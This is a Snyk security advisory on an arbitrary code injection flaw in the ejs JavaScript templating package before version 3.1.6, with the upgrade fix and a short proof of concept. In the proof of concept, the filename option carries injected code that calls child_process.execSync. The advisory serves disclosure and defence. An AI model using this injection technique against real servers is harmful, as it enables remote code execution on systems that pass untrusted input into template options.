Arbitrary Code Injection Affecting ejs package, versions <3.1.6
Snyk CVSS
Attack Complexity
High
Privileges Required
High
Threat Intelligence
Exploit Maturity
Proof of concept
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Test your applications- Snyk ID SNYK-JS-EJS-1049328
- published 20 Jan 2021
- disclosed 9 Dec 2020
- credit fangzequn
How to fix?
Upgrade ejs
to version 3.1.6 or higher.
Overview
ejs is a popular JavaScript templating engine.
Affected versions of this package are vulnerable to Arbitrary Code Injection via the render
and renderFile
. If external input is flowing into the options
parameter, an attacker is able run arbitrary code. This include the filename
, compileDebug
, and client
option.
POC
let ejs = require('ejs')
ejs.render('./views/test.ejs',{
filename:'/etc/passwd\nfinally { this.global.process.mainModule.require(\'child_process\').execSync(\'touch EJS_HACKED\') }',
compileDebug: true,
message: 'test',
client: true
})